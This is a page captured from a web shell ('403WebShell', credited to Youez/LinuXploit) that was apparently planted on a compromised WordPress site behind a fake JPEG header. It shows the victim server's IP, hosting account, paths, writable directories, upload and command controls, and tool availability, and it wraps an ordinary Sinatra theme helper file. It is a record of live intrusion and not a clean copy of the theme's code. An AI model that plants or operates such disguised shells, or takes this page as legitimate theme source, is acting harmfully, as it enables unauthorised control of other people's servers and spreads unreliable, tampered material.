????JFIF??x?x????'403WebShell
403Webshell
Server IP : 104.21.48.1  /  Your IP : 216.73.216.145
Web Server : LiteSpeed
System : Linux premium151.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64
User : tempvsty ( 647)
PHP Version : 8.0.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/tempvsty/dchsreunion.com/wp-content/themes/sinatra/inc/customizer/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/tempvsty/dchsreunion.com/wp-content/themes/sinatra/inc/customizer//customizer-helpers.php
<?php
/**
 * Sinatra Customizer helper functions.
 *
 * @package     Sinatra
 * @author      Sinatra Team <[email protected]>
 * @since       1.0.0
 */

/**
 * Do not allow direct script access.
 */
if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

/**
 * Returns array of available widgets.
 *
 * @since 1.0.0
 * @return array, $widgets array of available widgets.
 */
function sinatra_get_customizer_widgets() {

	$widgets = array(
		'text'    => 'Sinatra_Customizer_Widget_Text',
		'nav'     => 'Sinatra_Customizer_Widget_Nav',
		'socials' => 'Sinatra_Customizer_Widget_Socials',
		'search'  => 'Sinatra_Customizer_Widget_Search',
		'button'  => 'Sinatra_Customizer_Widget_Button',
	);

	return apply_filters( 'sinatra_customizer_widgets', $widgets );
}

/**
 * Get choices for "Hide on" customizer options.
 *
 * @since  1.0.0
 * @return array
 */
function sinatra_get_display_choices() {

	// Default options.
	$return = array(
		'home'       => array(
			'title' => esc_html__( 'Home Page', 'sinatra' ),
		),
		'posts_page' => array(
			'title' => esc_html__( 'Blog / Posts Page', 'sinatra' ),
		),
		'search'     => array(
			'title' => esc_html__( 'Search', 'sinatra' ),
		),
		'archive'    => array(
			'title' => esc_html__( 'Archive', 'sinatra' ),
			'desc'  => esc_html__( 'Dynamic pages such as categories, tags, custom taxonomies...', 'sinatra' ),
		),
		'post'       => array(
			'title' => esc_html__( 'Single Post', 'sinatra' ),
		),
		'page'       => array(
			'title' => esc_html__( 'Single Page', 'sinatra' ),
		),
	);

	// Get additionally registered post types.
	$post_types = get_post_types(
		array(
			'public'   => true,
			'_builtin' => false,
		),
		'objects'
	);

	if ( is_array( $post_types ) && ! empty( $post_types ) ) {
		foreach ( $post_types as $slug => $post_type ) {
			$return[ $slug ] = array(
				'title' => $post_type->label,
			);
		}
	}

	return apply_filters( 'sinatra_display_choices', $return );
}

/**
 * Get device choices for "Display on" customizer options.
 *
 * @since  1.2.0
 * @return array
 */
function sinatra_get_device_choices() {

	// Default options.
	$return = array(
		'desktop' => array(
			'title' => esc_html__( 'Hide On Desktop', 'sinatra' ),
		),
		'tablet' => array(
			'title' => esc_html__( 'Hide On Tablet', 'sinatra' ),
		),
		'mobile' => array(
			'title' => esc_html__( 'Hide On Mobile', 'sinatra' ),
		),
	);

	return apply_filters( 'sinatra_device_choices', $return );
}

Youez - 2016 - github.com/yon3zu
LinuXploit